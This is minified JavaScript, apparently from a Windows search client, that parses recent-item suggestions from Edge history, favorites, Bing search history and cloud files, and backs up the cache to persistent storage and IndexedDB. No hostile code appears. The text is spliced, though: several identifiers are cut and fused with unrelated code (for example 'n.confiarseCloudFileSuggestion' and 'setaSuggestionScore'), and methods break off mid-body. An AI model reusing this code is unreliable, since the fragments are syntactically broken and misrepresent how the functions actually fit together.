0:f.replace("www.",""))+h;if(u[v]&&s.type=="ANAH"){let n=s.id,r=u[v].id,t=(e=s.anaheimRankingSignals.dateCreated)===null||e===void 0?void 0:e.valueOf(),i=(o=u[v].anaheimRankingSignals.dateCreated)===null||o===void 0?void 0:o.valueOf();r.indexOf("stable")>-1?n.indexOf("stable")>-1&&t>i&&(u[v]=s):(n.indexOf("stable")>-1||t>i)&&(u[v]=s)}else u[v]=s}}setTextAndIconForLBSHSuggestion(n,t){return n.text=t.query,n.icon=this.getIconForMRUSearchHistorySuggestion(),n}getIconForMRUSearchHistorySuggestion(){return n.config.enableEdgeIconForWebSuggInSH?{type:0,className:"EdgeIconForWebSugg"}:n.config.networkIconForWebSugg?{type:0,className:"NetworkIcon"}:n.config.networkWithSpyglassIconForWebSugg?{type:0,className:"NetworkWithSpyglassIcon"}:n.config.bingIconForWebSugg?{type:0,className:"BingIcon"}:n.config.disableMruLBSHColorfulIcon?{type:2,content:"&#xE721"}:{type:0,className:n.config.enableLBSHGradientIcon?"LBSHGradientSpyglass":n.config.enableLBSHSolidBlueIcon?"LBSHSolidBlueSpyglass":n.config.mirrorMruLBSHItemIcon?"LBSHSpyglassSV2":"LBSHSpyglass"}}setupRemoveFromHistoryContextMenu(t,i,r){n.RuntimeConfig.QfMode!=5&&n.RuntimeConfig.QfMode!=9&&i.remove&&n.setExtraVerbs(t,u=>{if(u||!i.remove)return[];if(!t.removeIcon&&t.duplicates&&t.duplicates.some(n=>!n.fromHistory))return[];const f=n.config.mruSearchHome&&((r===null||r===void 0?void 0:r.scope)===n.Scope.All||(r===null||r===void 0?void 0:r.scope)===n.Scope.Work);let e={verb:f?"RemoveFromDeviceHistoryAll":"RemoveFromDeviceHistory",displayName:n.Host.getLocString("RemoveFromDeviceHistory"),executeSync:()=>{i.remove(()=>{t.handoffType!==2&&this.updateDismissedMruWebSugCache(t),n.Host.refreshCurrentPane(),f||this._temporaryMessageHandler.showTemporaryMessage(n.Host.getLocString("RemovedFromDeviceHistory",HitHighlightingParser.removeMarkers(t.text)))}),delete i.remove},icon:{content:"&#xE711",type:2}};return[e]},!0)}generateReactKey(t,i){return(t===null||t===void 0?void 0:t.isSearchHomeZI)?n.config.enableFromYourHistory?`${i.type}${"MRS"}${i.text}`:`${"MRS"}${i.text}`:i.type+t.fullPartialQuery}parseCloudFileSuggestion(t,i,r){var s;let u=r.suggestionData;if(!(u===null||u===void 0?void 0:u.url))return null;let l=t.queryToFetch?HitHighlightingParser.addMarkers(u.textWithoutHH,t.queryToFetch):u.textWithoutHH,o=n.getFileExtension(u.query);!o&&u.url&&(o=n.getFileExtension(u.url));const e=o?o.toLocaleLowerCase():"",c=u.icon||n.ScopeConfig[n.Scope.Documents].icon,h=e?n.getIconForTypeAsync(c,e):null;let f=n.createSuggestion(t,l,h,c,u.type,u.query,n.InstrumentedItem.createInstrumentedItem(i,u.type),u.handoffType,i,!0);f.primaryMetadata=(s=u.title)!==null&&s!==void 0?s:u.textWithoutHH;const a=e?e.substring(1):"";return(f.extensionLC=e,f.url=u.url,f.webUrl=u.url,f.click=()=>n.launchDocument(u.url,u.url,a),h&&(f.getIcon=h),f.url&&(f.sourceForGroup=f.url.indexOf("sharepoint")>-1?4:3),f.lastLaunchTime=r.rankingData.lastLaunchTime,(n.config.optimizeRecentRank||n.config.enableRecencyMRURanking)&&(f.mruRankingData=Object.assign(Object.assign({},r.rankingData),{localSuggestionDistanceScore:0})),this.setRankingSignals(f,u),f.reactKey=this.generateReactKey(t,f),!n.isValidSuggestion(f,"parseCloudFileSuggestion"))?null:(this.setupRemoveFromHistoryContextMenu(f,r,t),f)}isCloudFileMRUSuggestion(t){return t?n.isFileOrFolder(t.type)?t.handoffType!==8&&t.handoffType!==12?!1:!!t.url:!1:!1}}n.MRUParser=i}(WSB||(WSB={})),function(n){var t;(function(t){var i;(function(i){const f=30,e=3,o=8,s=2,h=4,c=n.config.mruImprovement3?50:15,l="LastUpdated",u="MRUNoItemsAvailable";class r extends t.ClientSideStorage.StorageBasedDataProvider{static getMRUInstrumentationStringMap(){return r._instrumentedStrings}getName(){return"MRUDataProvider"}constructor(i,r,u,f,e,o,s,h,c){i&&(i.bindItemLaunch((n,t,i)=>this.storeSuggestionToMRU(n,t,i)),i.bindConversationEndsg.suppressASEntity===4)&&((s=n.Host.getNormalizedWindowsInstalledAppNames())===null||s===void 0?void 0:s.has((c=(h=HitHighlightingParser.removeMarkers(f.text))===null||h===void 0?void 0:h.trim())===null||c===void 0?void 0:c.toLowerCase()))?undefined:{content:u.secondaryIconUrl,type:0}),n.isValidSuggestion(f,"parseMruWebSuggestion")){let t=()=>{this.updateDismissedMruWebSugCache(f),n.Host.refreshCurrentPane()};return n.setExtraVerbs(f,()=>{let i={verb:"RemoveFromDeviceHistoryAll",displayName:n.Host.getLocString("RemoveFromDeviceHistory"),executeSync:()=>{t()},icon:{content:"&#xE711",type:2}};return[i]},!0),f}return null}parseAnaheimSearchHistory(t,i){let r=[],f=n.getEdgeHistoryCacheKeyForSelectedAccount();const u=n.LightweightStorage.getItem(f);if(u){const{cacheTime:e,response:f}=JSON.parse(u),o=Math.round((new Date).getTime()/1e3)-e>=86400;if(!o){let u={};if(f&&f.anaheimDataItems)for(let r of f.anaheimDataItems)n.safeExecute(()=>this.parseAnaheimMRUWebSuggestion(r,t,i,u),"parseAnaheimDataSuggestion");for(let t in u){let i=u[t];if(n.isValidSuggestion(i,"parseMruWebSuggestion")){let t=()=>{this.updateDismissedMruWebSugCache(i),n.Host.refreshCurrentPane()};n.setExtraVerbs(i,()=>{let i={verb:"RemoveFromDeviceHistoryAll",displayName:n.Host.getLocString("RemoveFromDeviceHistory"),executeSync:()=>{t()},icon:{content:"&#xE711",type:2}};return[i]},!0);(i.type=="ANAH"||i.type=="ANAR"||i.type=="ANAF")&&r.push(i)}}}}return r}getIconForAhaheimMRUWebSuggestion(){let t=this.getIconForMRUSearchHistorySuggestion();return n.config.enableAnaheimInRecentIcon===1?t={type:0,className:"FallbackBigEdgeIcon"}:n.config.enableAnaheimInRecentIcon===2?t={type:0,className:"EdgeIconForWebSugg"}:n.config.enableAnaheimInRecentIcon===3?t={type:0,className:"RectBlueBackgroundEdgeIcon"}:n.config.enableAnaheimInRecentIcon===4?t={type:0,className:"BlackEdgeIcon"}:n.config.enableAnaheimInRecentIcon===5?t={type:0,className:"NetworkIcon"}:n.config.enableAnaheimInRecentIcon===6?t={type:0,className:"NetworkWithSpyglassIcon"}:n.config.enableAnaheimInRecentIcon===7&&(t={type:0,className:"BingIcon"}),t}parseAnaheimMRUWebSuggestion(t,i,r,u){var f,e,o;if(t){let c,y;if(t.id.indexOf("Favorites")>-1)c="ANAF",y="EdgeFavorites";else if(t.id.indexOf("History")>-1)c="ANAH",y="EdgeBrowsingHistory";else if(t.id.indexOf("QuickLinks")>-1)c="ANAT",y="EdgeTopSites";else if(t.id.indexOf("RecentlyClosed")>-1)c="ANAR",y="EdgeRecentClosed";else return;if(!(n.AnaheimDataProviderV2&&n.AnaheimDataProviderV2.checkAnaheimV2Enable())){let i=new Date(t.dateCreated),r=n.AnaheimDataProvider.getExpirationThreshold();if(c=="ANAH"&&(!i||n.getTimeDiffInDays(i)>r))return}let l=t.url,h=t.title;const k=" - Search";(h===null||h===void 0?void 0:h.endsWith(k))&&(h=h.slice(0,-k.length));let d=i.isSearchHomeZI?h:HitHighlightingParser.addMarkers(h,i.queryToFetch);n.config.topHitMuse&&(i.fullPartialQuery=h);let p,w;if(n.AnaheimDataProviderV2&&n.AnaheimDataProviderV2.checkAnaheimV2Enable()&&n.config.enableAnaheimDataProfile)n.AnaheimDataProviderV2.ANAAccountType==1?p=n.AnaheimDataProviderV2.ANAProviderItemID:n.AnaheimDataProviderV2.ANAAccountType==2&&(w=n.AnaheimDataProviderV2.ANAProviderItemID);else if(n.AnaheimDataProvider&&n.config.enableAnaheimDataProfile){let t=n.AnaheimDataProvider.getSelectedProfile();t&&t.accountType=="MSA"?p=t.id:t&&t.accountType=="AAD"&&(w=t.id)}if(!d||!h)return;const g=this.getIconForAhaheimMRUWebSuggestion();let s=n.createSuggestion(i,d,undefined,g,c,h,n.InstrumentedItem.createInstrumentedItemHandOffOverride(r,c,1),1,r,!0,t.id,()=>n.Host.launchUrlWithEdgeProtocolAsync(l,{campaign:n.config.anaheimDataLaunchOCID,medium:y,cid:p,oid:w}),null,c+h+t.id),b=l===null||l===void 0?void 0:l.replace(/(^\w+:|^)\/\//,""),a=l?new URL(l):undefined;n.safeExecute(()=>{s.primaryMetadata=(a===null||a===void 0?void 0:a.hostname)?HitHighlightingParser.addMarkers(decodeURIComponent(b),a.hostname):decodeURIComponent(b)},"decodeURIComponenturl:"+l+"urlWithoutProtocol:"+b);s.tooltip=h;c=="ANAT"&&(s.tooltip+="\n"+l);s.url=l;s.narratorText=n.getNarratorText(s);s.template=0;s.lastLaunchTime=t.dateCreatedInS;setaSuggestionScore=t.highConfidenceMetaSuggestionScore;n.prefetchConfidenceScore=t.prefetchConfidenceScore;n.fromHistory=!0;n.hasMruData=!0}setRankingSignalsForAsSuggestion(n,t){var i;let r=t.Attributes;n.hc=r.hc==="1";n.suggestionLogMeta=r.lm;n.highConfidenceSuggestionScore=+((i=r.hcs)!==null&&i!==void 0?i:0);n.highConfidenceMetaSuggestionScore=t.HighConfidenceMetaSuggestionScore;n.prefetchConfidenceScore=t.PrefetchConfidenceScore;n.fromHistory=!0}parseMRUWebSuggestion(t,i,r,u){var o,s,h;let e=i.suggestionData,f=null;f=n.createSuggestion(t,t.queryToFetch?HitHighlightingParser.addMarkers(e.textWithoutHH,t.queryToFetch):e.textWithoutHH,null,e.icon,e.type,e.query,n.InstrumentedItem.createInstrumentedItem(r,e.type),e.handoffType,r,!1);f.lastLaunchTime=i.rankingData.lastLaunchTime;f.isRoaming=(o=e.isRoaming)!==null&&o!==void 0?o:!1;(n.config.optimizeRecentRank||n.config.enableRecencyMRURanking)&&(f.mruRankingData=Object.assign(Object.assign({},i.rankingData),{localSuggestionDistanceScore:0}));f.webUrl=e.webUrl;this.setRankingSignals(f,e);n.config.enableRecentLocalSearchWebIcon&&e.secondaryIcon&&(f.secondaryIcon=e.secondaryIcon);switch(f.handoffType){case 5:case 4:if(!n.isCortanaEnabledCache||f.type=="CSK")return null;let c=e;const v=c.secondaryText;if(f.primaryMetadata=c.annotation||v,f.reactKey=f.type+f.primaryMetadata,!n.setCat1SuggestionProperties(f,t,r,c.actionUri,c.taskFrame,c.confidence,c.source))return null;break;case 3:case 10:case 26:return null;case 0:case 13:case 14:case 21:case 17:if(!(n.isDataSourceEnabled("MRS",t)||n.config.enableFileHist||n.isDataSourceEnabled("MWS",t)))return null;let a=e;(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isWorkMruEnabled())&&(n.config.enableFileHist||u=="MWS")&&(t.isWorkScopeZI||t.isSearchHomeZI)?n.msbHost.qfUtils.setMsbMruSuggestionProperties(f,e):(!t.isSearchHomeZI||t.scope==n.Scope.Web&&n.config.enableZeroInputSearchHomeWeb&&!n.canEnableDsbWebMruInWebScope(t)||(f=this.setTextAndIconForLBSHSuggestion(f,a)),n.setWebSearchSuggestionProperties(f,t,r,a.url,this._navigationHelper,null,!0));f.reactKey=this.generateReactKey(t,f);break;case 1:let o=e,y=i.rankingData;t.queryToFetch.length>3&&(f.autoOpenPreviewPaneWhenOnTopHit=!!y.previewPaneLaunchCount);let l=o.title||o.secondaryText;!n.isSupportWebResultsInAllScopeInDMAEnabled()&&t.isSearchHomeZI&&l?(f.additionalInfoText=o.url,f.text=HitHighlightingParser.removeMarkers(l)):f.primaryMetadata=l;f.reactKey=o.type+o.url;n.setUrlSuggestionProperties(f,t,r,o.url,this._navigationHelper);n.config.directNavPreviewPane&&f.type=="MD"&&f.url&&(f.getIcon=n.getFaviconUrlForRawUrl(f.url,64,64,1.5),t.isSearchHomeZI||(f.previewPaneType=2));n.isSupportWebResultsInAllScopeInDMAEnabled()&&(f.sourceApp=n.Host.getThirdPartySearchAppByName((s=o.sourceAppDisplayName)!==null&&s!==void 0?s:""),f.sourceApp&&f.sourceApp.getLogoAsDataUriAsync?f.getIcon=n.getDmaSuggestionIcon(f.sourceApp):f.icon={type:2,content:"&#xE81C"},t.isSearchHomeZI||(f.previewPaneUrl=(h=o.previewPaneUrl)!==null&&h!==void 0?h:""));break;default:return n.LogWSBError("parseMruWebSuggestion",null,new Error("Unexpected handoff type: "+e.handoffType),undefined,undefined,"WindowsTelemetry"),null}return n.isValidSuggestion(f,"parseMruWebSuggestion")?(this.setupRemoveFromHistoryContextMenu(f,i,t),f):null}parseASMRUWebSuggestion(t,i,r){var e,o,s,h,c;const u=i.Attributes;if(!u.url)return null;let l;l=u.isAnswer==="1"?u.url||u.vertical?n.verticalToHandoffType(u.vertical):10:n.verticalToHandoffType(u.vertical);let f=n.createSuggestion(t,(e=u.query)!==null&&e!==void 0?e:"",undefined,this.getIconForMRUSearchHistorySuggestion(),u.stype,(o=u.query)!==null&&o!==void 0?o:"",n.InstrumentedItem.createInstrumentedItem(r,u.stype),l,r,!1);if(f.lastLaunchTime=Number(u.llt),f.primaryMetadata=i.SecondaryText,this.setRankingSignalsForAsSuggestion(f,i),n.setWebSearchSuggestionProperties(f,t,r,u.url,this._navigationHelper),f.reactKey=this.generateReactKey(t,f),n.config.enableRecentASSearchWebIcon&&u.secondaryIconUrl&&(f.secondaryIcon=(n.config.suppressASEntity===1||n.config.suppressASEntity===3||n.confiarseCloudFileSuggestion(i,r,t),"parseCloudFileSuggestion");u&&p.push(u)}p.length>0&&c.push(...p);o(u,c,f)}parseIdLookupResponse(t,i,r,u,f,e){let o=r.suggestionData;if((n.MockUrlParameters===null||n.MockUrlParameters===void 0?void 0:n.MockUrlParameters.mockMRUDataFile)&&f.length==0){const t={displayName:o.id,id:o.id,kind:"document",getProperty:null,propertyHits:[],rankScore:1e3};f.push(n.createLocalResponseSuggestionWithDeviceItemImage(t,o.type,u))}if(f.length==1){let h=i=>{if(this.setupRemoveFromHistoryContextMenu(i,r,t),i.lastLaunchTime=r.rankingData.lastLaunchTime,(n.config.optimizeRecentRank||n.config.enableRecencyMRURanking)&&(i.mruRankingData=Object.assign(Object.assign({},r.rankingData),{localSuggestionDistanceScore:0})),o.appContextData&&(i.appContext=o.appContextData.appContext,i.query=o.appContextData.query,i.text=t.queryToFetch?HitHighlightingParser.addMarkers(o.appContextData.textWithoutHH,t.queryToFetch):o.appContextData.textWithoutHH),(n.Host.getIFFPolarisProviderEnabled()||n.Host.getVegaProviderEnabled())&&n.isFileOrFolder(i===null||i===void 0?void 0:i.type)){const n=i===null||i===void 0?void 0:i.deviceItem;n&&(n.matchType=o.matchType)}if(n.Host.getJupiterProviderEnabled()&&(i===null||i===void 0?void 0:i.type)==="CoPST"){let n=i;n.relevance=o.relevance;n.match=o.match;n.previewMetadata=o.previewMetadata;n.deviceItem&&(n.deviceItem.matchType=o.matchType)}return this.setRankingSignals(i,o),!0},s=1;n.safeExecute(()=>n.parseLocalSuggestion(t,f[0],u,i,this._temporaryMessageHandler,o.type,e,h,s),"parseLocalSuggestion "+u);s+=1}}shouldFetchBingSearchHistory(t){return n.config.enableSearchHistoryMru&&n.isBingEnabled()&&t.isSearchHomeZI&&((n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType())==2||n.config.enableSyncedHistoryLocal&&(n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType())==3)?!0:!1}parseASBingSearchHistory(t,i){var r;let f=[],e=n.getHistoryCacheKeyForSelectedAccount();const u=n.LightweightStorage.getItem(e);if(u){(n.PSManager===null||n.PSManager===void 0?void 0:n.PSManager.isPSFeatureEnabled(this.dataSource))&&n.PSCache&&n.PSCache.changeSearchHistoryCache(u);const{cacheTime:o,response:e}=JSON.parse(u),s=Math.round((new Date).getTime()/1e3)-o>=86400;s||((r=e===null||e===void 0?void 0:e.Suggestions)===null||r===void 0?void 0:r.forEach(r=>{let u=n.safeExecute(()=>this.parseASMRUWebSuggestion(t,r,i),"parseASMRUWebSuggestion");u&&f.push(u)}))}return f}dedupeLocalAndMRSASSuggestions(t,i){let r=t;for(let t of i){let i=-1;i=r.findIndex(n=>n.query===t.query);i!==-1?r[i].lastLaunchTime<t.lastLaunchTime&&(n.config.mruRoamingWebReplace&&r[i].hasMruData&&(t.hasMruData=r[i].hasMruData),r[i]=t):r.push(t)}return r}filterDismissedSuggestionsForMRSSuggestions(t){let i=this.loadDismissedMruWebSugFromCache(),r=t;if(!n.isNullOrUndefined(i)&&i.length>0&&!n.isNullOrUndefined(i[0]))for(let t of i){let u=-1;if(u=r.findIndex(n=>n.query===t.query),u!=-1)if(r[u].lastLaunchTime<t.lastDismissedTime)r.splice(u,1);else{let r=i.indexOf(t);i.splice(r,1);n.LightweightStorage.setItem(n.config.mruWsDismissCacheKey,JSON.stringify(i))}}return r}loadDismissedMruWebSugFromCache(){let i=[];const t=n.LightweightStorage.getItem(n.config.mruWsDismissCacheKey);return t&&(n.PSManager&&n.PSCache&&n.PSManager.isPSFeatureEnabled(this.dataSource)&&n.PSCache.changeMRUDismissCache(t),i=JSON.parse(t)),i}updateDismissedMruWebSugCache(t){let r=new Date,i=this.loadDismissedMruWebSugFromCache(),u=i.findIndex(n=>n.query===t.query);u!==-1?i[u].lastDismissedTime=Math.round(r.getTime()/1e3):(i.length>=n.config.dismissedMrsCacheSize&&(i.sort((n,t)=>n.lastDismissedTime-t.lastDismissedTime),i.splice(0,1)),i.push({query:t.query,lastDismissedTime:Math.round(r.getTime()/1e3)}));const f=JSON.stringify(i);n.LightweightStorage.setItem(n.config.mruWsDismissCacheKey,f);(n.PSManager===null||n.PSManager===void 0?void 0:n.PSManager.isPSFeatureEnabled(this.dataSource))&&n.PSCache&&n.PSCache.changeMRUDismissCache(f)}setRankingSignals(n,t){n.hc=t.hc;n.highConfidenceMc uploadInst(t,i){try{let r=_G.IG;if(!r){SharedLogHelper.LogError("uploadInst "+t,"Could not instrument as server IG not known");return}let u=n.InstrumentationCommon.createPerfPingEvent(r,[i],t);n.InstrumentationHelper.logPerfPingEvent(u)}catch(r){typeof SharedLogHelper!="undefined"&&SharedLogHelper.LogError("uploadInstError",t,r)}}}t.MRUBackfillSignalKey="MRUBackfillSignal";t.SetMRUBackfillSignalDone=!1;t.MruMaxAgeInDays=30;t.MRUBackfillSignalValue={LastUpdated:t.getUnixTime(),SuggestionEngagementData:{}};t.MaxMRUBackkfillCount=20;t.MRUPSKeys=Array.from({length:t.MaxMRUBackkfillCount},(n,i)=>t.getMRUPSKey(i+1));t.MaxSHCachePSCount=3;t.SHCachePSKeys=Array.from({length:t.MaxSHCachePSCount},(n,i)=>t.getSHCacheKey(i+1));t.MaxSHCachePSValueLength=3999;t.MaxSHCacheStringLength=t.MaxSHCachePSCount*t.MaxSHCachePSValueLength;t.CacheKeys=[n.config.mruWsDismissCacheKey,n.SelectedAccountIdStorageKey];t.mruIndexedDB=new r;t.stat_backfillInProgress=!1;t.stat_backupInProgress=!1;t.stat_clearInProgress=!1;t.stat_backfillCallCount=0;t.stat_backfillCount=0;t.stat_backfillSuccessCount=0;t.stat_backfillFailureCount=0;t.stat_backupCallCount=0;t.stat_backupCount=0;t.stat_backupSuccessCount=0;t.stat_backupFailureCount=0;t.stat_clearCallCount=0;t.stat_clearCount=0;t.stat_clearSuccessCount=0;t.stat_clearFailureCount=0;t.stat_backfillInst={};n.PSManager=t}(WSB||(WSB={})),function(n){const t=3;class i{constructor(n,t,i,r=null){this._navigationHelper=n;this._temporaryMessageHandler=t;this.dataSource=i;this._wsbCopilotViewModel=r}parse(i,r,u,f,e,o,s){var a,v;let c=[],w=[],b=[],k=[],d=[],g=[],nt=[],y=[],p=[],l=[],h=[];const tt=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType(),it=tt===1;if(f&&f.Suggestions)for(let e of f.Suggestions){let f=e.suggestionData;if(f.handoffType==2){let t=f;n.isApp(f.type)?(w.push(t.id),d.push(e)):n.isSetting(f.type)?(b.push(t.id),g.push(e)):n.isFileOrFolder(f.type)&&(k.push(t.id),nt.push(e))}else if(this.isCloudFileMRUSuggestion(f))it&&y.push(e);else if(n.isBrowserOnline()){if(n.isSupportWebResultsInAllScopeInDMAEnabled()){let o=e.suggestionData;if(n.Host.getThirdPartySearchAppByName((a=o.sourceAppDisplayName)!==null&&a!==void 0?a:"")){if(n.config.msbMruLimitEnabled&&(n.config.enableFileHist||u==="MWS")&&i.scope===n.Scope.All&&c.length===t)break;let o=n.safeExecute(()=>this.parseMRUWebSuggestion(i,e,r,u),"parseMRUWebSuggestion");o&&(f.handoffType==0?l.push(o):c.push(o))}else continue}else if(n.isBingEnabled()){if(n.config.msbMruLimitEnabled&&(n.config.enableFileHist||u==="MWS")&&i.scope===n.Scope.All&&c.length===t)break;let o=n.safeExecute(()=>this.parseMRUWebSuggestion(i,e,r,u),"parseMRUWebSuggestion");o&&(f.handoffType==0?l.push(o):c.push(o))}}else continue}if(n.config.enableMruRoamingIndexedDb)h=this.filterDismissedSuggestionsForMRSSuggestions(l);else if(this.shouldFetchBingSearchHistory(i)&&!n.canShowSearchHomeAIFeed(i)){let n=this.parseASBingSearchHistory(i,r),t=this.dedupeLocalAndMRSASSuggestions(l,n);h=this.filterDismissedSuggestionsForMRSSuggestions(t)}else h=l;if(n.config.enableAnaheimInRecentIcon){let n=this.parseAnaheimSearchHistory(i,r),t=this.dedupeLocalAndMRSASSuggestions(h,n);h=this.filterDismissedSuggestionsForMRSSuggestions(t)}if(n.shouldFetchCopilotHistory(i)){let n=(v=this._wsbCopilotViewModel)===null||v===void 0?void 0:v.parseCopilotHistory(i,r);(n===null||n===void 0?void 0:n.length)>0&&h.push(...n)}if(n.hasCopilotSettingEnabled()&&h.push(...[]),n.config.keepMruWebSuggestionCount>0&&h.length>n.config.keepMruWebSuggestionCount&&(h=h.slice(0,n.config.keepMruWebSuggestionCount)),u!="MWS"&&(n.lookupById(i,"MPP",w,d,undefined,null,null,n=>[n.suggestionData.id],"MST",b,g,n=>n.suggestionData.id,e,r,o,s,(n,t,u,f)=>this.parseIdLookupResponse(i,r,n,t,u,f),"MFF",k,nt,n=>n.suggestionData.id),n.config.logProviderStart&&n.isDataSourceEnabled("MRS",i)&&n.InstrumentationHelper.instrumentResponseReceived(r,"MRS",null,0,!1,!1),n.isDataSourceEnabled("MRS",i)&&o("MRS",h,f)),y.length>0&&n.isDataSourceEnabled("MFF",i))for(let t of y){let u=n.safeExecute(()=>this.pUSearchHistoryCacheChange=!1}i.HasMRUDismissCacheChange&&(u.push({key:n.config.mruWsDismissCacheKey,value:i.MRUDismissCache||""}),i.HasMRUDismissCacheChange=!1);i.HasSelectedAccountIdChange&&(u.push({key:n.SelectedAccountIdStorageKey,value:i.SelectedAccountId||""}),i.HasSelectedAccountIdChange=!1);let f=!0;if(u.length>0){const n={};f=t.backupPersistentStorage(u,n);n.PSBUL=performance.now()-e;t.uploadInst("PSBackup",n)}return t.stat_backupInProgress=!1,f?t.stat_backupSuccessCount++:t.stat_backupFailureCount++,f}static async clearMRUAtButtonClickedAsync(n){if(t.stat_clearCallCount++,t.stat_clearInProgress)return!0;t.stat_clearInProgress=!0;t.stat_clearCount++;t.stat_clearCaller=n;const o=performance.now();i.setMRUDbEntries([]);t.SetMRUBackfillSignalDone=await t.setMRUBackfillSignalAsync();let f=0,u=0;const s=performance.now();for(const n of t.MRUPSKeys){const t=SearchAppWrapper.CortanaApp.persistentStorage.removeItem(n);t?f++:u++}const e=performance.now()-s,r={};return r.PSCRL=performance.now()-o,r.PSRTL=e,r.PSRKL=e/t.MRUPSKeys.length,r.PSRSC=f,r.PSRFC=u,t.uploadInst("PSClear",r),t.stat_clearInProgress=!1,u==0?t.stat_clearSuccessCount++:t.stat_clearFailureCount++,u==0}static async checkMRUBackfillKeyAsync(n){const r=performance.now(),i=await t.mruIndexedDB.getItemAsync(t.MRUBackfillSignalKey);return n.DBGKL=performance.now()-r,n.DBGRC=i?1:0,i?!0:!1}static backfillLocalStorage(i){const e=performance.now(),r=SearchAppWrapper.CortanaApp.persistentStorage.getItems(t.CacheKeys),u=performance.now()-e;let f=0;if(r)for(const t in r)if(r.hasOwnProperty(t)){const i=r[t];i&&(f++,n.LightweightStorage.setItem(t,i))}i.PSGTL2=u;i.PSGKL2=u/t.CacheKeys.length;i.PSGKC2=t.CacheKeys.length;i.PSGRC2=f;t.backfillLocalStorageWithSearchHistoryCache(i)}static backfillLocalStorageWithSearchHistoryCache(i){const e=performance.now(),r=SearchAppWrapper.CortanaApp.persistentStorage.getItems(t.SHCachePSKeys),u=performance.now()-e;let f=0;if(r){let i="";for(const n in t.SHCachePSKeys)if(r.hasOwnProperty(n)){const t=r[n];t&&(f++,i=i.concat(t))}i&&n.LightweightStorage.setItem(n.config.mruAsSearchHistoryCacheKey,i)}i.PSGTL3=u;i.PSGKL3=u/t.CacheKeys.length;i.PSGKC3=t.CacheKeys.length;i.PSGRC3=f}static async backfillIndexedDBAsync(n){const e=performance.now(),i=SearchAppWrapper.CortanaApp.persistentStorage.getItems(t.MRUPSKeys),u=performance.now()-e;let r=!0,f=0;if(i)for(const n in i)if(i.hasOwnProperty(n)){const u=i[n];if(u){f++;try{let n=JSON.parse(u);n&&n.key&&n.value&&(r=r&&await t.mruIndexedDB.setItemAsync(n.key,n.value))}catch(e){SharedLogHelper.LogError("PSBFDB",null,e);r=!1}}}return n.PSGTL=u,n.PSGKL=u/t.MRUPSKeys.length,n.PSGKC=t.MRUPSKeys.length,n.PSGRC=f,r}static async setMRUBackfillSignalAsync(){return await t.mruIndexedDB.setItemAsync(t.MRUBackfillSignalKey,t.MRUBackfillSignalValue)}static serializeMRUEntries(n){let r=[],i=0;for(const u of n){if(i>=t.MaxMRUBackkfillCount)break;if(u&&u.key&&u.value){if(u.key===t.MRUBackfillSignalKey)continue;try{r.push({key:t.MRUPSKeys[i],value:JSON.stringify(u)});i++}catch(f){}}}while(i<t.MaxMRUBackkfillCount)r.push({key:t.MRUPSKeys[i],value:""}),i++;return r}static backupPersistentStorage(n,i){let u=0,r=0;if(n&&n.length>0){const f=new Date;f.setDate(f.getDate()+t.MruMaxAgeInDays);const o=performance.now();for(const t of n){const n=SearchAppWrapper.CortanaApp.persistentStorage.setItem(t.key,t.value,f);n?u++:r++}const e=performance.now()-o;i.PSSTL=e;i.PSSKL=e/n.length;i.PSSSC=u;i.PSSFC=r}return r==0}static getSHCachePSKVPs(n){let i=[];if(n&&n.length<=t.MaxSHCacheStringLength)for(let r=0;r<t.MaxSHCachePSCount;r++){let u=r*t.MaxSHCachePSValueLength;if(n.length>u){let f=Math.min((r+1)*t.MaxSHCachePSValueLength,n.length);i.push({key:t.SHCachePSKeys[r],value:n.substring(u,f)||""})}else i.push({key:t.SHCachePSKeys[r],value:""})}else for(let n=0;n<t.MaxSHCachePSCount;n++)i.push({key:t.SHCachePSKeys[n],value:""});return i}static getSHCacheKey(t){return`${n.config.mruAsSearchHistoryCacheKey}_${t}`}static getMRUPSKey(n){return`MRU_${n}`}static getUnixTime(t){return t||(t=n.getCurrentDate()),Math.round(t.getTime()/1e3)}stati,r.stat_openDBCount=0,r.stat_openDBSuccessCount=0,r.stat_openDBFailureCount=0)}}r.MRUDBVersion=1;r.MRUStoreName="mruWithIndexStore";r.SECONDARY_KEY="LastUpdated";r.stat_openDBCallCount=0;r.stat_openDBCount=0;r.stat_openDBSuccessCount=0;r.stat_openDBFailureCount=0;class i{static resetPSCache(){i.HasMRUDbEntriesFirstBackup=!1;i.HasMRUDbEntriesInit=!1;i.HasMRUDbEntriesChange=!1;i.HasMRUSearchHistoryCacheChange=!1;i.HasMRUDismissCacheChange=!1;i.HasSelectedAccountIdChange=!1}static setMRUDbEntries(n){t.SetMRUBackfillSignalDone&&(i.HasMRUDbEntriesInit=!0,i.MRUDbEntries=n||[])}static changeMRUDbEntries(n,r){if(t.SetMRUBackfillSignalDone){let u=i.MRUDbEntries;if(u&&i.HasMRUDbEntriesInit){let t=u.findIndex(t=>t.key==n);t!=-1?u[t].value=r:u.push({key:n,value:r});i.HasMRUDbEntriesChange=!0}}}static changeSearchHistoryCache(n){t.SetMRUBackfillSignalDone&&i.MRUSearchHistoryCache!=n&&(i.MRUSearchHistoryCache=n,i.HasMRUSearchHistoryCacheChange=!0)}static changeMRUDismissCache(n){t.SetMRUBackfillSignalDone&&i.MRUDismissCache!=n&&(i.MRUDismissCache=n,i.HasMRUDismissCacheChange=!0)}static changeSelectedAccountId(n){t.SetMRUBackfillSignalDone&&i.SelectedAccountId!=n&&(i.SelectedAccountId=n,i.HasSelectedAccountIdChange=!0)}}i.HasMRUDbEntriesFirstBackup=!1;i.HasMRUDbEntriesInit=!1;i.HasMRUDbEntriesChange=!1;i.HasMRUSearchHistoryCacheChange=!1;i.HasMRUDismissCacheChange=!1;i.HasSelectedAccountIdChange=!1;n.PSCache=i;class t{static resetPSManager(){t.mruIndexedDB=new 